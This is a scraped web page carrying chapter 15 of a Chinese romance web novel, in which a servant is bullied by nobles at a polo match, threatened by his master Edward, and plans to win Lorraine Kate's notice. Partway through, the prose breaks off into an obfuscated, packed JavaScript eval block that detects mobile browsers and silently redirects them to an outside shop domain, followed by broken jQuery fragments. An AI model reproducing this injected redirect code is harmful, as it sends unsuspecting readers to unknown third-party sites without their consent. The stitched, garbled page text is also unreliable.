文趣网 > 其他小说 > 万人迷的人外恋爱游戏 > 15. 第 15 章勾引洛兰凯特的可行性
    温尔不说话,欲恙也不敢停,手都要举酸了。

    在他想换只手时,温尔嗅了嗅,突然发难:“你身上涂了什么东西,怎么那么香?你果然像科林说的一样,不安分。”

    欲恙很是冤枉。

    他现在哪里来的条件,去买那些好闻的香料,他平日都是用清水擦拭身体,还总觉得自己身上有玫瑰园的泥巴味。

    说起香,欲恙想起在第一张地图,01就是在说完他很香后,一口把他吃掉了。

    想到这,欲恙脸色一变,不由收回手,往后走几步,生怕温尔也突然张嘴把他吃掉了。

    他警惕的看着温尔,摇头辩解:“我身上没有香味。”

    温尔再次伸手拉住他的手,阻止他的小动作,一个用力,低头嗅着欲恙莹白的手腕,耳朵通红,欲盖弥彰道:“你敢骗我,你身上的香味那么甜,你使了什么手段,说!”

    欲恙有苦难言,想抽回手,可是又忌惮温尔的身份,一时和他保持着这个奇怪的姿势僵持着。

    欲恙能感觉得到自己的手心,离温尔养尊处优的脸颊就一尺的距离,他忍不住缩了缩手指。

    有点想一巴掌扇下去。

    不行不行。

    他很快把脑海里蠢蠢欲动的想法压下去。

    他敢肯定。

    只要自己敢动手,可能不等他得逞就会被一堆力气大的仆人制止,然后拖下去受罚。

    欲恙有些遗憾的看着温尔红扑扑像个红苹果的脸。

    温尔和他对视上,忍不住攥紧他的手腕,脑袋有些晕,每一次呼吸都是他的香味。

    肌肉男科林大大咧咧的声音,传了过来:“嘿,温尔,下一场快开始了,你怎么还不动,不打了吗?”

    温尔终于发现马场中还有别人在,意识到自己现在的在做什么后,他脸色不好的甩开欲恙的手。

    鼻子不是鼻子,眼睛不是眼睛的哼了一声。

    科林没有发现两人古怪的氛围。

    他走近时才发现欲恙也在这里,他刚刚下场是在对面,离这边有点远,看不太清,还以为站在温尔旁边的,是他的贴身男仆。

    见欲恙哭丧着一张脸。

    科林的心思又活跃起来,心想如果是别人总是在他面前做出委屈的样子,他肯定会恶心得不行,要是这个人换成了欲恙,给他的感觉反而不一样了。

    可如果要是让他细说,他又说不清到底是什么。

    只知道,最好让欲恙把唇咬成一片糜红,红着眼睛,含着眼泪细声细气的求自己。

    被脑海中幻想的画面刺激到,科林直接遵循脑中的第一个想法,脱口而出。

    “说是叫这个仆人来和我们一起玩,他却在这偷闲,多没意思,不如让他也和我来打一场?”

    听见他的话,欲恙的脸色瞬间惨白。

    马球是在马上的一种运动,考验的不仅是骑手的骑术,还考验骑手的对身体平衡的掌握能力。

    一个不小心很容易在奔跑的马背上摔下来,轻则擦伤,重则骨折。

    在封建社会受伤可不是那么容易能被治好的。

    更何况这些打马球的贵族骑的都是自己精挑细选的上等好马,脾气不是一般大,欲恙一不会骑马,二和这些马不熟,被马故意甩下来的概率更大。

    科林这分明就是不想让自己好过。

    欲恙想拒绝,温尔却比他更先开口,他皱着眉嫌弃道:“他又没有马,难道还想让我把乌利卡给他骑吗?他脏...咳,反正我才不会把乌利卡借给他。”

    科林被他说的一蒙。

    他的想法明明是,准备叫仆人再牵一匹小马驹过来。

    给他十个胆,他也不可能敢提议,让温尔把他最喜欢的马让出来。

    他丝毫没有找到最重要的一点,为什么温尔在听到这句话的瞬间,就认为欲恙一定要使用他的马。

    科林连忙张嘴想补救,温尔一脸不耐让他闭嘴。

    在座和温尔玩的人都知道他的脾气,科林把话咽进肚子里,不敢说话。

    刚巧下一场比赛开始了,温尔又迁怒地瞪欲恙一眼。

    等他们骑上马,离开,欲恙松口气,要不是温尔刚刚的话,说不定今晚自己就要缺胳膊断腿回去。

    欲恙努力缩小自己的存在感,他一边弯腰捡球,一边看着天色,内心不免焦急起来。

    他每天下午四点的时间,都要去爱德华的书房学礼仪和书籍,也不知道温尔他们要玩到多久。

    要是在四点之前不能结束,他今日学习的时间必然会受到影响。

    离洛兰凯特要选人的那天过不了多久。

    欲恙想多学一些,他催不了温尔他们,只好一个人生闷气。

    等到温尔结束的时候,又开始用眼神使唤他。

    明明这些应当是由温尔的贴身男仆准备的,但现在他们两个被晾在一边,欲恙被迫代替他们完成工作。

    欲恙拿着茶壶给这大爷倒水。

    袅袅白烟从精致小巧的茶杯上升起,模糊了欲恙的眉眼,阵阵花香漂浮在空中,泛着一丝甜意和清香。

    温尔眼睛盯着他的动作,又不耐地轻啧一声,阴阳怪气道:“让你倒杯茶而已,你在气什么?”

    欲恙自认为他的态度没问题,幽幽地看他一眼,把冒着香气的茶杯端给温尔。

    温尔喝了一口,站起身说:“没意思,不打了”。

    他转身离开。

    既然温尔走了,其他人也纷纷离开,科林没再来找事跟着温尔离开,欲恙总算自由。

    他掐着点来到爱德华的书房。

    负责教他的男仆早已等候在此。

    男仆见他晚来,跑得气喘吁吁的,让他坐下,为他倒杯水,好奇地询问他遇见了什么事,怎么那么急。

    欲恙没说在马场发生的事,随口扯道:“今天耽误了点时间,工作刚做完。”

    男仆表示理解,翻开手上的书,宽慰他:“没事,等你被选上就会轻松很多,我觉得你被选中的几率挺大的。”

    闻言,欲恙也好奇问:“为什么呢?我的礼仪到现在还没有那些高等男仆优雅,而且你不是说,他们有好几个都是和管家相熟的吗?”

    男仆让他开始练字,顺口道:“我看过他们,你长得最好看。”

    好吧,居然是这样简单粗暴又肤浅的理由。

    欲恙不觉得洛兰凯特会因为这选上自己。

    如果他要是真的喜欢自己的脸,一周目也不会让自己给他陪葬。

    欲恙不贪心,这几天的偶遇能让洛兰凯特心底留下点印象,他就心满意足。

    他还要继续努力。

    欲恙很有忧患意识,心想还需要加把劲。

    爱德华今天意外地走进书房,他一来就深深地看了欲恙一眼。

    欲恙没看懂。

    仆人将爱德华脱下来的外衣放在衣架上,站在一边。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719942|208594||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    爱德华坐在桌子对面的软沙上,和欲恙面对面。

    欲恙把笔放下向他行礼问好,挑不出一丝错处:“爱德华少爷午安。”

    爱德华意味深长的打量他:“想不到你手段还挺多,搭上了温尔?听说你和他呆了一下午?据我所知,他可不是个好相处的。”

    “你误会了,只是因为我弄脏了温尔少爷的马球,他在惩罚我。”

    爱德华轻蔑的看他一眼:“别以为你接近不了洛兰凯特,就能接近温尔,记住,我交给你的事,你要是做不到,后果,你懂。”

    “是,我明白。”

    欲恙握着笔回应爱德华的威胁。

    爱德华喝着茶,抽了一本书看,不再管欲恙,站在角落地仆人走上前,一板一眼继续教导欲恙。

    等到男仆教他站姿、走姿时,爱德华突然放下书,走到头顶着四本书努力站直的欲恙面前。

    他伸手不轻不重地推了一下欲恙,欲恙身形不稳,书本哗啦啦掉在脚边。

    爱德华挑剔着。

    “真蠢,照这样训下去,也不知道你猴年马月才能学会,你不会是想借这个理由,留在我这吧?去再加几本书,继续。”

    欲恙弯腰捡起地上的书,站直身体,一声不吭交给男仆,让他放在自己头顶,继续练。

    或许有人惹了爱德华,他时不时在旁边指点,说欲恙这没做好,那做得差一点。

    欲恙心里骂他和温尔都有病,很晚才被放回去。

    第二天还要早起,欲恙倒在床上,放空大脑,很快睡过去。

    大概是人倒霉到一个度都是会有尽头的。

    当欲恙连续扑空几天,怀疑洛兰凯特根本不在古堡的时候。

    他再一次在花园遇见了洛兰凯特。

    当时是下午。

    欲恙还没有结束工作。

    太阳挂在万里无云的天空上,不是很热,但是很晒。

    欲恙左右扫视一眼,来监督他们工作地管事刚走,别的和他负责打理花园的仆人,和他有段距离。

    于是欲恙立马拿着剪刀和水壶,找了个阴凉的地方偷懒。

    这片区域,离通向花园中心亭子地走廊比较近,两侧延伸出来的檐角,挡住了一部分阳光。

    在地上形成长方形的阴凉处。

    欲恙拿着剪刀坐在地上,假装在工作,嘴里碎碎念。

    “古堡修那么大做什么,连偶遇的机会都没有。”

    “运气好差啊,要是他日理万机把我忘了怎么办?”

    他这几天旁敲侧击问了很多仆人,爱德华也有告诉他洛兰凯特出现在哪,甚至,他还不动声色地问过,好几次莫名其妙来找他的温尔。

    可惜他每次去都扑了个空。

    洛兰凯特前脚刚走,欲恙后脚才到。

    阴差阳错过好几次。

    欲恙也不能做得太明显,免得被怀疑,只能耐住性子,再想其他办法。

    欲恙不拘小节地坐在地上,拿剪刀剪掉一截荆棘上的枯叶,脑袋里突然冒出一个想法。

    “如果我去勾引他可行吗?”

    很快他又摇摇头,“算了,不成功好丢人的。”

    他伸手抓着一条枝条,比划一番,咔嚓一声剪掉。

    “不行,面子不重要,可是想想那个画面,就好羞耻。”

    忽地,一声轻笑在他身后响起。

    他说:“这样对待它们,会痛的。”